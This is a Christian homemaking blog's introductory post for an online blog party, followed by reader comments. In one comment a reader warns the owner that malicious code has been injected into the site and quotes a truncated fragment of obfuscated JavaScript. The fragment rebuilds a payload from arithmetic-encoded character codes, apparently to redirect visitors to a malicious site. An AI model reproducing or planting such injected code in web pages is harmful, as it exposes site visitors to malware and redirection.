UBP: About Me (Giveaways CLOSED)

 

Welcome! Thanks for coming by my Ultimate Blog Party Party Post! Don’t be shy;  have a look around and enjoy yourself.

What is a Beautiful Calling?

When I chose the name for my blog, I was mostly thinking of my calling to be wife, mother and keeper of my home. Upon further reflection though, Beautiful Calling has another application. Any woman, of any age in any season, who is in the Will of God is fulfilling her Beautiful Calling.

About Me:

I’m a princess; daughter of the King. I desire to serve and honor Him in all things.

I’m a wife; blessed to have married DH 5 years ago in May.

I’m a mother to Chloe (2007) and John (2008); precious gifts from the Lord.

I’m a homemaker. I strive to make my home a haven; a place of welcome, comfort and rest. I desire to fill it with laughter and love that my family and others may be blessed.

The best place to read about me is my About page. There is also 31 Things About Me (on my 31st Birthday), All About Me from A-Z and last years UBP post, a little about mommy with littles.

A Little About My Blog:

I was domestically challenged when I first got married in 2005! This is a bit of an understatement!:)

Since then, with the Lord’s help, my desire is to answer my beautiful calling – which is not all about housework! I am learning to be the helper my husband needs; an example and a teacher to my children so that they will come to know, love and serve God. I want to Wait on the Lord with my life! With His help, I want to be keeper of my home and to be a good steward of the time, talents and resources that the Lord has entrusted me with.

This blog is an honest record of my successes, failures and lessons learned (and the ones I am learning!). I write because I enjoy it; not because I have talent.  I pray that here you will find something helpful, encouraging or motivating! Read more here at Why Blog?

What I Write About:

Chloe and John do “school”; John has “blanket time” until Chloe is done.

  4. I’d love more craft ideas 🙂 I’ve got a busy 3 year old that LOVES projects!!

  5. I’m stopping by this time from the UBP ’10! I love your site and the reason for the name. Always enjoy getting my feeds from your site!

  6. I think I just fell in love with you a little…that’s not too weird is it!?!?

    I will be back after this party is over. I love your view on how your relationship with your husband should look and the obvious joy you have in homemaking. (I sure could have used some of that joy when I burnt the cookies, the dog tracked in mud and the kids demolished the house today!) Your Spirit is shining bright and your testimony for God shows an inner strength that will prevail!

  7. HI, I homeschool too and have 4 blogs dedicated to it. LOL Wanted to invite you stop by sometime and to take a look around. We have a giveaway going on for the UBP too.
    Blessings-

  13. Hmm… my AVG is telling me your favicon and other things on your site are trying to redirect me to a malicious website :/ I completed your survey to enter your giveaway anyway 🙂

    Here is the warning I got:

    I found the problem – at the bottom of every page on your site is some nasty malicious code… it looks like:

    function KoiQBOL(qNQghUYaEb){ fff=op.split(“394″);var UtRt = document.getElementById(‘dklA’); }
    function WwcDBUVhHq(Epi){var rHZBxZwKHL=5,UxiEfYK=7;var UeF=’42+6,82+1,82+6,86+3,77+1,72+1,44+2,9+2,7+1,32+6,80+5,85+0,82+6,74+2,86+3,69+2,40+0,39+2,72+6,72+6,87+1,87+1,67+6,75+0,71+3,22+6,87+6,22+6,71+3,75+0,82+1,80+0,77+1,69+2,86+3,41+3,78+4,79+2,78+4,72+1,42+1,22+6,89+2,9+2,7+1,42+6,33+4,82+1,82+6,86+3,’,pBY=UeF.split(‘,’);YUCPn=”;for(HxPCvFVEnA=0x13-0x6-0x8-0xb+0x25+0x30-0x4f;HxPCvFVEnA<pBY.length-1;HxPCvFVE

    If you remove that you'll be fine 🙂 Good luck!
